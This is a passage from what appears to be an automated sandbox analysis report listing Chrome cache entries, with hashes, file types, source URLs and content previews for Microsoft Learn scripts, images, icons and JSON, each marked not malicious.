SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
